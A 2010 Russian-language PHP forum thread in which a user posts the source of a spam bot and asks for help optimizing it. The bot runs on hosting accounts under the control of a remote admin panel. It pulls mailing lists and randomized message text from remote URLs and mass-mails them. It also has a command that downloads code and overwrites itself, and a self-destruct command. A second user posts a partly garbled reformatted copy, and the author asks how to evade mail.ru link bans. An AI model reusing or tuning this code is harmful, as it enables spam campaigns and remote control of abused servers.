Помогите максимально оптимизировать

Discussion in 'PHP' started by -=Zhenek=-, 28 Sep 2010.

  1. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    Есть админка которая управляет скриптами на хостингах.
    Они рассылают почту.

    Получают задания,команды и т.д
    Но часто это вываливается в 502 ошибку для хостинга.

    Вот код бота,помогите максимально его оптимизировать.


    PHP:
    <?
    $passw "7777777";
    $script_name "sam_bot.php";
    $ver "1.28";
    $adm "http://xxxx.ru/bot.php";
    $zadanie"http://xxxx.ru/start.inc";
    $stat "http://xxxx.ru/stat.php";
    $act$_POST['act'];
    $pass $_POST['pass'];
    $pass_g $_GET['pass'];
    if(
    $pass != $passw && $pass_g != $passw ){echo "Пароль не верный";exit;}
    if(
    $act == "del_conf") {
    if (
    unlink('config.bt'))
    { echo 
    "<br> - <font color=green>Фаил конфигурации удален</font>"; }
    else
    { echo 
    "<br> - <font color=red>Ошибка при удалении файла</font>"; }
    register($adm,1);
    }
    /////////////////////////////////////////////////
    if($act == "update") {
    $new_url $_POST['new_url'];
    $code ccurl ($new_url,"");
    $fp fopen($script_name'w'); // Текстовый режим
    fputs ($fp,$code);
    echo 
    "UPDATE - OK-";
    }
    /////////////////////////////////////////////////
    if (!file_exists('config.bt')) {// первый запуск
    register($adm,0);
    }else{
    if(
    $act != "opros") {
    // no first  otstuk
    otvet($adm,$ver); // выполняем ответ серверу
    $fp ccurl($zadanie,""); // Парсим задание
    if($fp!= "") {
    $zadanie $fp;
    }
    list(
    $start,$link_mail,$link_text,$link_conf,$mac) = explode("<-->",$zadanie); // задание тут
    if($start=="1") {
    start ($link_mail,$link_text,$link_conf,$mac,$adm,$stat); // начинаем рассылку
    }
    }
    }

    if(
    $act == "opros") {
    otvet($adm,$ver); // выполняем ответ серверу
    $time $_POST['time'] - time();
    echo 
    " | ответ занял $time секунд";
    }

    if(
    $act == "armagedon") {
    if (
    unlink('config.bt'))
    { echo 
    "<br> - <font color=green>Фаил конфигурации удален</font>"; }
    else
    { echo 
    "<br> - <font color=red>Ошибка при удалении файла</font>"; }

    $bot str_replace("/","",$script_name);
    if (
    unlink($bot))
    { echo 
    "<br> - <font color=green>Фаил бота удален</font>"; }
    else
    { echo 
    "<br> - <font color=red>Ошибка при удалении файла</font>"; }




    }








    function 
    otvet ($adm,$ver) {
    $file fopen("config.bt","r"); 
    while (!
    feof ($file) ) {
    $conf fgets($file);
    }
    list(
    $id,$kontr) = explode("<!-!>",$conf);
    $ip=$_SERVER['REMOTE_ADDR'];
    $code_site=ccurl($adm,"ip=$ip&id=$id&act=otstuk&ver=$ver"); // передаем админке наши данные
    if($code_site == "stop"){echo "<font color=red>Отключен</font>";exit();}
    if(
    $code_site == "OK"){echo "<font color=green>Готов</font>";}
    }

    function 
    register ($adm,$aa) {
    $ip=$_SERVER['REMOTE_ADDR'];
    $name$_SERVER['HTTP_HOST'];
    $url"http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']; 
    if(
    $_POST['name'] != "") {$name=$_POST['name'];}
    if(
    $_POST['type'] != "") {$type="&type=$_POST[type]";}
    $fp fopen('config.bt''w'); // Текстовый режим
    if($fp != FALSE) {
    $code_site=ccurl($adm,"ip=$ip&name=$name&url=$url&act=first&type=$type&rereg=$aa"); // редаем админке наши данные
    }else{
    die(
    "Нет прав на создание файла конфигурации. Регистрация невозможна :(");
    }
    fputs ($fp,$code_site);
    if(
    $_POST['act']=="del_conf") {echo "<br> - Перерегистрировался успешно. Новые данные : $code_site";}
    exit();
    }



    function 
    start($link_mail,$link_text,$link_conf,$mac,$adm,$stat){
    $file fopen("config.bt","r"); 
    while (!
    feof ($file) ) {
    $conf fgets($file);
    }
    list(
    $id,$kontr) = explode("<!-!>",$conf);
    $kontr ccurl("http://10000maek.ru/go.php?&act=kontr",""); // 
    if($link_mail == "") {echo "<font color=red>Нет ссылки для получения мыл</font>";exit;}
    if(
    $link_text == "") {echo "<font color=red>Нет ссылки для получения текста</font>";exit;}
    $mail=ccurl($link_mail,""); // получаем список мыл
    $text =ccurl($link_text,""); // получаем text
    $config =ccurl($link_conf,""); // получаем configuratin
    if($mail =="") {echo "нет мыл"; exit;}
    if(
    $config =="") {echo "нет конфига"; exit;}
    if(
    $text =="") {echo "нет текста"; exit;}
    $mail str_replace("<br>",",",$mail)."$kontr";
    echo 
    " и начал рассылку.".time()."<br>";
    list(
    $from,$charset,$bcc,$cc,$subject,$plane) = explode("<!-=-!>",$config);
    $to"$mail//обратите внимание на запятую

    /* тема/subject */
    $subject urlencode ($subject);
    $subject str_replace ('%''='$subject); 
    $subject str_replace ('+''_'$subject);
    $subject '=?UTF-8?Q?'.$subject.'?=';

    //$from =  urlencode ($from);
    echo "<br>".$from."<br>";
    if (
    preg_match ('#(.*)\s?<(.*)>#'$from$mail)) {
        
    $mail[1] = urlencode ($mail[1]);
        
    $mail[1] = str_replace ('%''='$mail[1]); 
        
    $mail[1] = str_replace ('+''_'$mail[1]);
        
    $itog_from '=?UTF-8?Q?'.$mail[1].'?= <'.$mail[2].'>';
        } else {
    $itog_from "$from";
        }
    /* Для отправки HTML-почты вы можете установить шапку Content-type. */
    $headers"MIME-Version: 1.0\r\n";
    $headers .= "Content-type: text/$plane; charset=\"$charset\" \r\n";
    $headers.="X-Priority: 3 (Normal)\r\n";
    /* дополнительные шапки */
    $headers .= "From: $itog_from\r\n";
    //$headers .= "Cc: $cc\r\n";
    //$headers .= "Bcc: $bcc\r\n";
    $rand=rand(11111111,999999999999);
    $headers.=  "Message-ID: <172562218.".date("YmjHis")."@$rand>\r\n";
    $good=0;
    $bad=0;
    /* и теперь отправим из */
    $mail_array explode(","$to); 
    $poz=0;
    $kolvo=count($mail_array);
    $url_mac=$mac."&lim=$kolvo";
    //$text_m = ccurl($url_mac,"");
    //$text_m = str_replace("<br>",",",$text_m);
    //$text_array = explode(",", $text_m); 
    foreach($mail_array as $key => $value
    {
    if(
    $poz==10) {
    $text =ccurl($link_text,""); // получаем text
    $poz=0;
    }else{
    $poz++;
    }
    //$mac=$text_array[$poz];
    list($value,$fio) = explode(":",$value);
    $text_v str_replace ("%TO%",$value,$text);
    $text_v str_replace ("%DATE%",date("j.n.Y"),$text_v);
    $text_v str_replace ("%FIO%",$fio,$text_v);
    $text_v str_replace ("%RAND1%",rand(1,9),$text_v);
    $text_v str_replace ("%RAND2%",rand(11,99),$text_v);
    $text_v str_replace ("%RAND3%",rand(111,999),$text_v);
    $text_v str_replace ("%RAND4%",rand(1111,9999),$text_v);
    $text_v str_replace ("%RAND6%",rand(111111,999999),$text_v);
    $text_v str_replace ("%RAND7%",rand(1111111,9999999),$text_v);
    $text_v str_replace ("%RAND10%",rand(1111111111,9999999999),$text_v);
    //$text_v = str_replace("%mac%",$mac,$text_v);
    $len rand(1525); 
    $alph 'ABCDEFGH IJKLMKPQR STUVWXYZ123456789 '
    $str=0;
    $poz=0;
    for(
    $i=1$i<=$len$i++) 

       
    $poz rand(0strlen($alph)-1); 
       
    $str.= $alph{$poz}; 

    $text_v str_replace("%RANDT%",$str,$text_v);
    $str="";
    if(
    mail($value$subject$text_v$headers)) {$good++;}else{$bad++;}
    За говнокод не пинать)))))
     
  2. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    -=Zhenek=- гуглите на тему "профилирование PHP", "поиск узких мест кода", "паттерны программирования", "рефакторинг"

    Я что-то не пойму, откуда ветер такой подул? Откуда у народа появляется мысль, что сюда можно постить простыню кода и просить "сделайте за меня и не ругайтесь"? Работайте, блин, сами.
     
    _________________________
    2 people like this.
  3. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    PHP:
    <?php
        $passw          
    '7777777';
        
    $script_name    'sam_bot.php';
        
    $ver            '1.28';
        
    $adm            'http://xxxx.ru/bot.php';
        
    $zadanie        'http://xxxx.ru/start.inc';
        
    $stat           'http://xxxx.ru/stat.php';
        
    $act            = isset($_POST['act'])     ?   $_POST['act']    : null;
        
    $pass           = isset($_POST['pass'])    ?   $_POST['pass']   : null;
        
    $pass_g         = isset($_GET['pass'])     ?   $_GET['pass']    : null;
        
        if (
    $pass != $passw && $pass_g != $passw ){die('Пароль не верный');}
        
        if (
    $act == 'del_conf')
        {
            if (
    unlink('config.bt'))
            {
                echo 
    '<br/> - <font color=green>Фаил конфигурации удален</font>';
            }
            else
            { 
                echo 
    '<br/> - <font color=red>Ошибка при удалении файла</font>'
            }
            
    register($adm1);
        }
        
    /////////////////////////////////////////////////
        
    if ($act == 'update')
        {
            
    $new_url $_POST['new_url'];
            
    $code ccurl ($new_url'');
            
    $fp fopen($script_name'w'); // Текстовый режим
            
    fputs ($fp,$code);
            echo 
    'UPDATE - OK-';
        }
        
    /////////////////////////////////////////////////
        
    if (!file_exists('config.bt')) // первый запуск
        
    {
            
    register($adm0);
        }
        else
        {
            if (
    $act != 'opros')
            {
                
    // no first  otstuk
                
    otvet($adm$ver); // выполняем ответ серверу
                
    $fp ccurl($zadanie''); // Парсим задание
                
    if (!empty($fp))
                {
                    
    $zadanie $fp;
                }
                
                list(
    $start$link_mail$link_text$link_conf$mac) = explode('<-->'$zadanie); // задание тут
                
    if ($start == '1')
                {
                    
    start ($link_mail$link_text$link_conf$mac$adm$stat); // начинаем рассылку
                
    }
            }
        }
        
        if(
    $act == 'opros')
        {
            
    otvet($adm$ver); // выполняем ответ серверу
            
    $time $_POST['time'] - time();
            echo 
    ' | ответ занял ' $time 'секунд';
        }
        
        if(
    $act == 'armagedon')
        {
            if (
    unlink('config.bt'))
            {
                echo 
    '<br/> - <font color=green>Фаил конфигурации удален</font>';
            }
            else
            {
                echo 
    '<br/> - <font color=red>Ошибка при удалении файла</font>';
            }
            
            
    $bot str_replace('/'''$script_name);
            if (
    unlink($bot))
            {
                echo 
    '<br/> - <font color=green>Фаил бота удален</font>';
            }
            else
            { 
                echo 
    '<br/> - <font color=red>Ошибка при удалении файла</font>'
            }
        }
        
        function 
    otvet($adm$ver)
        {
            
    $file fopen('config.bt''r'); 
            while (!
    feof ($file))
            {
                
    $conf fgets($file);
            }
            
            list(
    $id$kontr) = explode('<!-!>'$conf);
            
    $ip $_SERVER['REMOTE_ADDR'];
            
    $code_site ccurl($adm'ip=' $ip '&id=' $id '&act=otstuk&ver=' .$ver); // передаем админке наши данные
            
    if ($code_site == 'stop')
            {
                echo 
    '<font color=red>Отключен</font>';
                exit();
            }
            
            if (
    $code_site == 'OK')
            {
                echo 
    '<font color=green>Готов</font>';
            }
        }
        
        function 
    register ($adm$aa)
        {
            
    $ip     $_SERVER['REMOTE_ADDR'];
            
    $name   = !empty($_POST['name'])    ?   $_POST['name']  :   $_SERVER['HTTP_HOST'];
            
    $url    'http://' $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF']; 
            if (!empty(
    $_POST['type']))
            {
                
    $type '&type=' $_POST['type'];
            }
            

            if (
    $fp fopen('config.bt''w')) // Текстовый режим
            
    {
                
    $code_site ccurl($adm'ip=' $ip '&name=' $name '&url=' $url '&act=first&type=' $type '&rereg=' $aa); // редаем админке наши данные
            
    }
            else
            {
                die(
    'Нет прав на создание файла конфигурации. Регистрация невозможна :(');
            }
            
    fputs ($fp$code_site);
            
            if(
    $_POST['act'] == 'del_conf')
            {
                echo 
    '<br/> - Перерегистрировался успешно. Новые данные : ' $code_site;
            }
            exit();
        }
        
        function 
    start($link_mail$link_text$link_conf$mac,$adm$stat)
        {
            
    $file fopen('config.bt','r'); 
            while (!
    feof ($file))
            {
                
    $conf fgets($file);
            }
            list(
    $id$kontr) = explode('<!-!>'$conf);
            
    $kontr ccurl('http://10000maek.ru/go.php?&act=kontr'''); // 
            
    if($link_mail == '') {echo '<font color=red>Нет ссылки для получения мыл</font>';exit;}
            if(
    $link_text == '') {echo '<font color=red>Нет ссылки для получения текста</font>';exit;}
            
    ail=ccurl($link_mail,''); // получаем список мыл
            
    $text =ccurl($link_text,''); // получаем text
            
    $config =ccurl($link_conf,''); // получаем configuratin
            
    if($mail =='') {echo 'нет мыл'; exit;}
            if(
    $config =='') {echo 'нет конфига'; exit;}
            if(
    $text =='') {echo 'нет текста'; exit;}
            
    $mail str_replace('<br>',',',$mail).'$kontr';
            echo 
    ' и начал рассылку.'.time().'<br>';
            list(
    $from,$charset,$bcc,$cc,$subject,$plane) = explode('<!-=-!>',$config);
            
    $to'$mail' //обратите внимание на запятую

    /* тема/subject */
    $subject urlencode ($subject);
    $subject str_replace ('%''='$subject); 
    $subject str_replace ('+''_'$subject);
    $subject '=?UTF-8?Q?'.$subject.'?=';

    //$from =  urlencode ($from);
    echo '<br>'.$from.'<br>';
    if (
    preg_match ('#(.*)\s?<(.*)>#'$from$mail)) {
        
    $mail[1] = urlencode ($mail[1]);
        
    $mail[1] = str_replace ('%''='$mail[1]); 
        
    $mail[1] = str_replace ('+''_'$mail[1]);
        
    $itog_from '=?UTF-8?Q?'.$mail[1].'?= <'.$mail[2].'>';
        } else {
    $itog_from '$from';
        }
    /* Для отправки HTML-почты вы можете установить шапку Content-type. */
    $headers'MIME-Version: 1.0\r\n';
    $headers .= 'Content-type: text/$plane; charset=\'$charset\' \r\n';
    $headers.='X-Priority: 3 (Normal)\r\n';
    /* дополнительные шапки */
    $headers .= 'From: $itog_from\r\n';
    //$headers .= 'Cc: $cc\r\n';
    //$headers .= 'Bcc: $bcc\r\n';
    $rand=rand(11111111,999999999999);
    $headers.=  'Message-ID: <172562218.'.date('YmjHis').'@$rand>\r\n';
    $good=0;
    $bad=0;
    /* и теперь отправим из */
    $mail_array explode(','$to); 
    $poz=0;
    $kolvo=count($mail_array);
    $url_mac=$mac.'&lim=$kolvo';
    //$text_m = ccurl($url_mac,'');
    //$text_m = str_replace('<br>',',',$text_m);
    //$text_array = explode(',', $text_m); 
    foreach($mail_array as $key => $value
    {
    if(
    $poz==10) {
    $text =ccurl($link_text,''); // получаем text
    $poz=0;
    }else{
    $poz++;
    }
    //$mac=$text_array[$poz];
    list($value,$fio) = explode(':',$value);
    $text_v str_replace ('%TO%',$value,$text);
    $text_v str_replace ('%DATE%',date('j.n.Y'),$text_v);
    $text_v str_replace ('%FIO%',$fio,$text_v);
    $text_v str_replace ('%RAND1%',rand(1,9),$text_v);
    $text_v str_replace ('%RAND2%',rand(11,99),$text_v);
    $text_v str_replace ('%RAND3%',rand(111,999),$text_v);
    $text_v str_replace ('%RAND4%',rand(1111,9999),$text_v);
    $text_v str_replace ('%RAND6%',rand(111111,999999),$text_v);
    $text_v str_replace ('%RAND7%',rand(1111111,9999999),$text_v);
    $text_v str_replace ('%RAND10%',rand(1111111111,9999999999),$text_v);
    //$text_v = str_replace('%mac%',$mac,$text_v);
    $len rand(1525); 
    $alph 'ABCDEFGH IJKLMKPQR STUVWXYZ123456789 '
    $str=0;
    $poz=0;
    for(
    $i=1$i<=$len$i++) 

       
    $poz rand(0strlen($alph)-1); 
       
    $str.= $alph{$poz}; 

    $text_v str_replace('%RANDT%',$str,$text_v);
    $str='';
    if(
    mail($value$subject$text_v$headers)) {$good++;}else{$bad++;}
    осилил только половину :D
     
    1 person likes this.
  4. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    Isis огромное спасибо.

    У меня есть вопрос.

    Бот получает от админки уже рендомизированное письмо и шлет его на 10 адресов,потом получает новое и так по кругу.
    Но когда даешь боту при запуске задания 500 ящиков ему приходится 50 раз запросить письмо.. А размещать рендомизатор на стороне бота плохо(лишние папки при заливке и количество файлов с 1 увеличивается).

    Как думаете будет лучше сразу запросить 5 вариантов писем и разослать,потом еще 5 или оставить как есть?
    У скрипта всего 30 сек для получения 50 писем и рассылке со всеми проверками,генерациями потом 502.

    Хотелось бы еще улсышать мнение спамеров по этому поводу.. Последнее время маил стал жестко банить ссылку после 2к писем раньше после 10к. Вот я и думаю где я ошибаюсь(

    Всем спасибо за помощь.

    п.с Gifts совсем не хотел никого напрягать. Если отнял у вас время извиняюсь, но раз я пришел сюда,значит на то была причина и я много читаю, но не все понимаю, стараюсь как могу сделать все сам, если бы не старался,то написал этот пост месяца 4 назад.
     
    #4 -=Zhenek=-, 29 Sep 2010
    Last edited: 29 Sep 2010
  5. immortalist

    immortalist Member

    Joined:
    16 Jan 2010
    Messages:
    99
    Likes Received:
    64
    Reputations:
    37
    Вам не кажется, что ЧСВ у Вас слишком ОВЕР 9к? Расслабьтесь, Вас всего лишь попросили о помощи - нет желания помогать - проходите мимо. Или я в чем-то не прав?

    // Gifts: мне кажется вы оффтопите и, чтобы у вас не развился комплекс Д'Артаньяна и борца с режимом - я дам вам возможность прочитать этот комментарий.

    //Gifts: Отвечу тут же: тема нарушает сразу два правила данного раздела п.2 и п.4, но заметьте - я мало что не удалил топик, а ответил на вопрос. Ферштейн?
     
    #5 immortalist, 29 Sep 2010
    Last edited by a moderator: 29 Sep 2010